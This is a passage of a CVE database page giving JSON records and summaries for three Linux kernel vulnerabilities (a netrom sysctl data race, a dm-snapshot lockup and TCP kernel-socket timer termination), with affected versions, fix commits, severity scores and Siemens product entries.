            "url": "https://git.kernel.org/stable/c/0866afaff19d8460308b022345ed116a12b1d0e1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/43464808669ba9d23996f0b6d875450191687caf"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/34cab94f7473e7b09f5205d4583fb5096cb63b5b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/16d71319e29d5825ab53f263b59fdd8dc2d60ad4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d380ce70058a4ccddc3e5f5c2063165dc07672c6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:51:36.770Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/netrom/af_netrom.c",
            "net/netrom/nr_in.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "d623fd5298d95b65d27ef5a618ebf39541074856",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "f9055fa2b2931261d5f89948ee5bc315b6a22d4a",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "bbf950a6e96a91cf8cf0c71117b94ed3fafc9dd3",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "0866afaff19d8460308b022345ed116a12b1d0e1",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "43464808669ba9d23996f0b6d875450191687caf",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "34cab94f7473e7b09f5205d4583fb5096cb63b5b",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "16d71319e29d5825ab53f263b59fdd8dc2d60ad4",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "d380ce70058a4ccddc3e5f5c2063165dc07672c6",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/netrom/af_netrom.c",
            "net/netrom/nr_in.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.310",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.272",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.213",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.152",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.82",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.22",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.8",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.310",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.272",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.213",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.152",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.82",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.22",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.10",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetrom: Fix data-races around sysctl_net_busy_read\n\nWe need to protect the reader reading the sysctl value because the\nvalue can be changed concurrently."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:10:39.547Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/d623fd5298d95b65d27ef5a618ebf39541074856"
        },
        {
          "url": "https://git.kernel.org/stable/c/f9055fa2b2931261d5f89948ee5bc315b6a22d4a"
        },
        {
          "url": "https://git.kernel.org/stable/c/bbf950a6e96a91cf8cf0c71117b94ed3fafc9dd3"
        },
        {
          "url": "https://git.kernel.org/stable/c/0866afaff19d8460308b022345ed116a12b1d0e1"
        },
        {
          "url": "https://git.kernel.org/stable/c/43464808669ba9d23996f0b6d875450191687caf"
        },
        {
          "url": "https://git.kernel.org/stable/c/34cab94f7473e7b09f5205d4583fb5096cb63b5b"
        },
        {
          "url": "https://git.kernel.org/stable/c/16d71319e29d5825ab53f263b59fdd8dc2d60ad4"
        },
        {
          "url": "https://git.kernel.org/stable/c/d380ce70058a4ccddc3e5f5c2063165dc07672c6"
        }
      ],
      "title": "netrom: Fix data-races around sysctl_net_busy_read",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-27419",
    "datePublished": "2024-05-17T12:01:27.871Z",
    "dateReserved": "2024-02-25T13:47:42.683Z",
    "dateUpdated": "2026-05-12T11:51:36.770Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35805 (GCVE-0-2024-35805)

Vulnerability from cvelistv5 – Published: 2024-05-17 13:23 – Updated: 2026-05-12 11:52

Title

dm snapshot: fix lockup in dm_exception_table_exit

Summary

In the Linux kernel, the following vulnerability has been resolved: dm snapshot: fix lockup in dm_exception_table_exit There was reported lockup when we exit a snapshot with many exceptions. Fix this by adding "cond_resched" to the loop that frees the exceptions.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/e7d4cff57c3c43fdd…
https://git.kernel.org/stable/c/9759ff196e7d248bc…
https://git.kernel.org/stable/c/116562e804ffc9dc6…
https://git.kernel.org/stable/c/3d47eb405781cc512…
https://git.kernel.org/stable/c/e50f83061ac250f90…
https://git.kernel.org/stable/c/fa5c055800a7fd49a…
https://git.kernel.org/stable/c/5f4ad4d0b09432962…
https://git.kernel.org/stable/c/6e7132ed3c07bd8a6…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < e7d4cff57c3c43fdd72342c78d4138f509c7416e (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 9759ff196e7d248bcf8386a7451d6ff8537a7d9c (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 116562e804ffc9dc600adab6326dde31d72262c7 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 3d47eb405781cc5127deca9a14e24b27696087a1 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < e50f83061ac250f90710757a3e51b70a200835e2 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < fa5c055800a7fd49a36bbb52593aca4ea986a366 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 5f4ad4d0b0943296287313db60b3f84df4aad683 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 6e7132ed3c07bd8a6ce3db4bb307ef2852b322dc (git)
Linux	Linux	Affected: 2.6.12 Unaffected: 0 , < 2.6.12 (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.84 , ≤ 6.1.* (semver) Unaffected: 6.6.24 , ≤ 6.6.* (semver) Unaffected: 6.7.12 , ≤ 6.7.* (semver) Unaffected: 6.8.3 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:47.647Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e7d4cff57c3c43fdd72342c78d4138f509c7416e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9759ff196e7d248bcf8386a7451d6ff8537a7d9c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/116562e804ffc9dc600adab6326dde31d72262c7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3d47eb405781cc5127deca9a14e24b27696087a1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e50f83061ac250f90710757a3e51b70a200835e2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/fa5c055800a7fd49a36bbb52593aca4ea986a366"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5f4ad4d0b0943296287313db60b3f84df4aad683"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6e7132ed3c07bd8a6ce3db4bb307ef2852b322dc"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35805",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T15:42:41.586817Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:33:22.063Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:52:01.087Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/md/dm-snap.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "e7d4cff57c3c43fdd72342c78d4138f509c7416e",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "9759ff196e7d248bcf8386a7451d6ff8537a7d9c",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "116562e804ffc9dc600adab6326dde31d72262c7",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "3d47eb405781cc5127deca9a14e24b27696087a1",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "e50f83061ac250f90710757a3e51b70a200835e2",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "fa5c055800a7fd49a36bbb52593aca4ea986a366",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "5f4ad4d0b0943296287313db60b3f84df4aad683",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "6e7132ed3c07bd8a6ce3db4bb307ef2852b322dc",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/md/dm-snap.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.84",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.24",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.84",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.24",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.12",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.3",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndm snapshot: fix lockup in dm_exception_table_exit\n\nThere was reported lockup when we exit a snapshot with many exceptions.\nFix this by adding \"cond_resched\" to the loop that frees the exceptions."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:11:22.038Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/e7d4cff57c3c43fdd72342c78d4138f509c7416e"
        },
        {
          "url": "https://git.kernel.org/stable/c/9759ff196e7d248bcf8386a7451d6ff8537a7d9c"
        },
        {
          "url": "https://git.kernel.org/stable/c/116562e804ffc9dc600adab6326dde31d72262c7"
        },
        {
          "url": "https://git.kernel.org/stable/c/3d47eb405781cc5127deca9a14e24b27696087a1"
        },
        {
          "url": "https://git.kernel.org/stable/c/e50f83061ac250f90710757a3e51b70a200835e2"
        },
        {
          "url": "https://git.kernel.org/stable/c/fa5c055800a7fd49a36bbb52593aca4ea986a366"
        },
        {
          "url": "https://git.kernel.org/stable/c/5f4ad4d0b0943296287313db60b3f84df4aad683"
        },
        {
          "url": "https://git.kernel.org/stable/c/6e7132ed3c07bd8a6ce3db4bb307ef2852b322dc"
        }
      ],
      "title": "dm snapshot: fix lockup in dm_exception_table_exit",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35805",
    "datePublished": "2024-05-17T13:23:13.554Z",
    "dateReserved": "2024-05-17T12:19:12.342Z",
    "dateUpdated": "2026-05-12T11:52:01.087Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35910 (GCVE-0-2024-35910)

Vulnerability from cvelistv5 – Published: 2024-05-19 08:35 – Updated: 2026-05-12 11:52

Title

tcp: properly terminate timers for kernel sockets

Summary

In the Linux kernel, the following vulnerability has been resolved: tcp: properly terminate timers for kernel sockets We had various syzbot reports about tcp timers firing after the corresponding netns has been dismantled. Fortunately Josef Bacik could trigger the issue more often, and could test a patch I wrote two years ago. When TCP sockets are closed, we call inet_csk_clear_xmit_timers() to 'stop' the timers. inet_csk_clear_xmit_timers() can be called from any context, including when socket lock is held. This is the reason it uses sk_stop_timer(), aka del_timer(). This means that ongoing timers might finish much later. For user sockets, this is fine because each running timer holds a reference on the socket, and the user socket holds a reference on the netns. For kernel sockets, we risk that the netns is freed before timer can complete, because kernel sockets do not hold reference on the netns. This patch adds inet_csk_clear_xmit_timers_sync() function that using sk_stop_timer_sync() to make sure all timers are terminated before the kernel socket is released. Modules using kernel sockets close them in their netns exit() handler. Also add sock_not_owned_by_me() helper to get LOCKDEP support : inet_csk_clear_xmit_timers_sync() must not be called while socket lock is held. It is very possible we can revert in the future commit 3a58f13a881e ("net: rds: acquire refcount on TCP sockets") which attempted to solve the issue in rds only. (net/smc/af_smc.c and net/mptcp/subflow.c have similar code) We probably can remove the check_net() tests from tcp_out_of_resources() and __tcp_close() in the future.

Severity ?

5.8 (Medium)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H

CWE

CWE-noinfo Not enough information

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/93f0133b9d589cc6e…
https://git.kernel.org/stable/c/44e62f5d356786867…
https://git.kernel.org/stable/c/e3e27d2b446deb1f6…
https://git.kernel.org/stable/c/2e43d8eba6edd1cf0…
https://git.kernel.org/stable/c/91b243de910a9ac84…
https://git.kernel.org/stable/c/c1ae4d1e76eacddaa…
https://git.kernel.org/stable/c/899265c1389fe0228…
https://git.kernel.org/stable/c/151c9c724d05d5b0d…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 26abe14379f8e2fa3fd1bcf97c9a7ad9364886fe , < 93f0133b9d589cc6e865f254ad9be3e9d8133f50 (git) Affected: 26abe14379f8e2fa3fd1bcf97c9a7ad9364886fe , < 44e62f5d35678686734afd47c6a421ad30772e7f (git) Affected: 26abe14379f8e2fa3fd1bcf97c9a7ad9364886fe , < e3e27d2b446deb1f643758a0c4731f5c22492810 (git) Affected: 26abe14379f8e2fa3fd1bcf97c9a7ad9364886fe , < 2e43d8eba6edd1cf05a3a20fdd77688fa7ec16a4 (git) Affected: 26abe14379f8e2fa3fd1bcf97c9a7ad9364886fe , < 91b243de910a9ac8476d40238ab3dbfeedd5b7de (git) Affected: 26abe14379f8e2fa3fd1bcf97c9a7ad9364886fe , < c1ae4d1e76eacddaacb958b67cd942082f800c87 (git) Affected: 26abe14379f8e2fa3fd1bcf97c9a7ad9364886fe , < 899265c1389fe022802aae73dbf13ee08837a35a (git) Affected: 26abe14379f8e2fa3fd1bcf97c9a7ad9364886fe , < 151c9c724d05d5b0dd8acd3e11cb69ef1f2dbada (git)
Linux	Linux	Affected: 4.2 Unaffected: 0 , < 4.2 (semver) Unaffected: 4.19.312 , ≤ 4.19.* (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.85 , ≤ 6.1.* (semver) Unaffected: 6.6.26 , ≤ 6.6.* (semver) Unaffected: 6.8.5 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "HIGH",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.8,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "LOW",
              "integrityImpact": "LOW",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-35910",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-29T18:25:39.390284Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "description": "CWE-noinfo Not enough information",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-29T19:44:27.885Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:48.925Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/93f0133b9d589cc6e865f254ad9be3e9d8133f50"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/44e62f5d35678686734afd47c6a421ad30772e7f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e3e27d2b446deb1f643758a0c4731f5c22492810"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2e43d8eba6edd1cf05a3a20fdd77688fa7ec16a4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/91b243de910a9ac8476d40238ab3dbfeedd5b7de"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c1ae4d1e76eacddaacb958b67cd942082f800c87"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/899265c1389fe022802aae73dbf13ee08837a35a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/151c9c724d05d5b0dd8acd3e11cb69ef1f2dbada"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:52:45.434Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "include/net/inet_connection_sock.h",
            "include/net/sock.h",
            "net/ipv4/inet_connection_sock.c",
            "net/ipv4/tcp.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
